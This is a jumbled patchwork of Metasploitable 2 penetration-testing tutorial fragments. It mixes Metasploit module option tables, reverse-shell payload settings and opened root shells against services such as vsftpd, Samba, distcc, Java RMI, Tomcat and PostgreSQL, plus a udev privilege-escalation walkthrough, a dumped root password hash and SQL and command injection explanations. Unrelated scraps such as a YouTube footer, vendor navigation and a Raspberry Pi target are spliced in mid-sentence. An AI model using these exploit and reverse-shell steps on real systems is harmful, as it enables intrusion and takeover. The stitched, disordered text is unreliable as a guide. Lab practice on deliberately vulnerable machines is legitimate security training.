Starting Nmap 6.46 (, msf > search vsftpd SSLCert no Path to a custom SSL certificate (default is randomly generated) Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. msf auxiliary(tomcat_administration) > show options Thus, we can infer that the port is TCP Wrapper protected. Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. CVEdetails.com is a free CVE security vulnerability database/information source. msf exploit(java_rmi_server) > set RHOST 192.168.127.154 Next, place some payload into /tmp/run because the exploit will execute that. ---- --------------- -------- ----------- Step 1: Setup DVWA for SQL Injection. Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. Pentesting Vulnerabilities in Metasploitable (part 2), VM version = Metasploitable 2, Ubuntu 64-bit. The web server starts automatically when Metasploitable 2 is booted. As the payload is run as the constructor of the shared object, it does not have to adhere to particular Postgres API versions. Exploit target: -- ---- Proxies no Use a proxy chain Id Name Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. The default login and password is msfadmin:msfadmin. It is also instrumental in Intrusion Detection System signature development. Exploit target: DATABASE template1 yes The database to authenticate against VHOST no HTTP server virtual host In this example, Metasploitable 2 is running at IP 192.168.56.101. 0 Linux x86 So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. At first, open the Metasploit console and go to Applications Exploit Tools Armitage. msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 [*] Started reverse double handler Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. RPORT 21 yes The target port Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. [*] Command: echo qcHh6jsH8rZghWdi; DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. ---- --------------- -------- ----------- Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. [*] Sending backdoor command Here we examine Mutillidae which contains the OWASP Top Ten and more vulnerabilities. The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine. msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright . RHOST yes The target address 22. root, msf > use auxiliary/scanner/postgres/postgres_login Description. However, the exact version of Samba that is running on those ports is unknown. cmd/unix/interact normal Unix Command, Interact with Established Connection This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. Exploit target: Metasploitable 2 Full Guided Step by step overview. msf auxiliary(tomcat_administration) > run :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. Setting the Security Level from 0 (completely insecure) through to 5 (secure). msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp You can edit any TWiki page. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0. In the video the Metasploitable-2 host is running at 192.168.56.102 and the Backtrack 5-R2 host at 192.168.56.1.3. Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. Redirect the results of the uname -r command into file uname.txt. The list is organized in an interactive table (spreadsheet) with the most important information about each module in one row, namely: Exploit module name with a brief description of the exploit List of platforms and CVEs (if specified in the module) payload => cmd/unix/reverse We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. Exploit target: Welcome to the MySQL monitor. DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. Backdoors - A few programs and services have been backdoored. [*] Auxiliary module execution completed, msf > use exploit/linux/postgres/postgres_payload WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) We did an aggressive full port scan against the target. RHOST yes The target address Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. msf exploit(java_rmi_server) > exploit PASSWORD no The Password for the specified username The first of which installed on Metasploitable2 is distccd. More investigation would be needed to resolve it. Commands end with ; or \g. [*] Transmitting intermediate stager for over-sized stage(100 bytes) Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 In this demonstration we are going to use the Metasploit Framework (MSF) on Kali Linux against the TWiki web app on Metasploitable. Every CVE Record added to the list is assigned and published by a CNA. CVE is a list of publicly disclosed cybersecurity vulnerabilities that is free to search, use, and incorporate into products and services, per the terms of use. Id Name RMI method calls do not support or need any kind of authentication. :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically Reference: Nmap command-line examples Using Exploits. The two dashes then comment out the remaining Password validation within the executed SQL statement. msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 We are interested in the Victim-Pi or 192.168.1.95 address because that is a Raspberry Pi and the target of our attack.. Our attacking machine is the kali-server or 192.168.1.207 Raspberry Pi. A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. whoami Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. Step 5: Display Database User. In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. Metasploitable is installed, msfadmin is user and password. The next service we should look at is the Network File System (NFS). [*] USER: 331 Please specify the password. RHOST 192.168.127.154 yes The target address Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys. RPORT 3632 yes The target port Same as credits.php. [*] udev pid: 2770 Name Current Setting Required Description All rights reserved. The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. NOTE: Compatible payload sets differ on the basis of the target selected. Browsing to http://192.168.56.101/ shows the web application home page. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . The interface looks like a Linux command-line shell. You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. [*] 192.168.127.154:5432 Postgres - [01/20] - Trying username:'postgres' with password:'postgres' on database 'template1' Module options (exploit/unix/webapp/twiki_history): msf exploit(distcc_exec) > show options msf exploit(drb_remote_codeexec) > exploit RHOSTS yes The target address range or CIDR identifier Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. Select Metasploitable VM as a target victim from this list. [*] Started reverse handler on 192.168.127.159:4444 First of all, open the Metasploit console in Kali. Module options (auxiliary/admin/http/tomcat_administration): Note: Metasploitable comes with an early version of Mutillidae (v2.1.19) and reflects a rather out dated OWASP Top 10. Module options (exploit/multi/http/tomcat_mgr_deploy): RHOST yes The target address [*] Started reverse double handler Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities. . whoami msf exploit(distcc_exec) > exploit Need to report an Escalation or a Breach? METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response SSLCert no Path to a custom SSL certificate (default is randomly generated) whoami 865.1 MB. payload => java/meterpreter/reverse_tcp [*] Started reverse double handler Name Current Setting Required Description Effectively what happens is that the Name validation is made to always be true by closing off the field with a single quote and using the OR operator. LPORT 4444 yes The listen port RPORT 80 yes The target port If so please share your comments below. Metasploit Pro offers automated exploits and manual exploits. RPORT => 8180 Return to the VirtualBox Wizard now. Exploit target: Id Name In Metasploit, an exploit is available for the vsftpd version. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. It aids the penetration testers in choosing and configuring of exploits. Then start your Metasploit 2 VM, it should boot now. This will be the address you'll use for testing purposes. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". Lets see if we can really connect without a password to the database as root. RHOST => 192.168.127.154 msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. In this example, the URL would be http://192.168.56.101/phpinfo.php. Telnet is a program that is used to develop a connection between two machines. [*] Writing to socket A [*] Writing to socket B Payload options (cmd/unix/reverse): This particular version contains a backdoor that was slipped into the source code by an unknown intruder. Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:35889) at 2021-02-06 16:51:56 +0300 Loading of any arbitrary file including operating system files. RHOST yes The target address (Note: A video tutorial on installing Metasploitable 2 is available here.). According to the most recent available information, this backdoor was added to the vsftpd-2.3.4.tar.gz archive between June 30, 2011, and July 1, 2011. Module options (auxiliary/scanner/telnet/telnet_version): In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): root, msf > use auxiliary/admin/http/tomcat_administration Name Current Setting Required Description [*] Started reverse handler on 192.168.127.159:4444 Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. [*] Reading from socket B RHOSTS yes The target address range or CIDR identifier Module options (exploit/multi/samba/usermap_script): Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. msf exploit(usermap_script) > set payload cmd/unix/reverse The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. [*] Attempting to autodetect netlink pid Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. whoami Learn Ethical Hacking and Penetration Testing Online. On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. For network clients, it acknowledges and runs compilation tasks. [*] Started reverse double handler THREADS 1 yes The number of concurrent threads Exploit target: IP address are assigned starting from "101". [*] Accepted the first client connection msf exploit(distcc_exec) > show options Metasploitable 2 Among security researchers, Metasploitable 2 is the most commonly exploited online application. RPORT 1099 yes The target port The vulnerabilities identified by most of these tools extend . To access a particular web application, click on one of the links provided. A malicious backdoor that was introduced to the VSFTPD download archive is exploited by this module. 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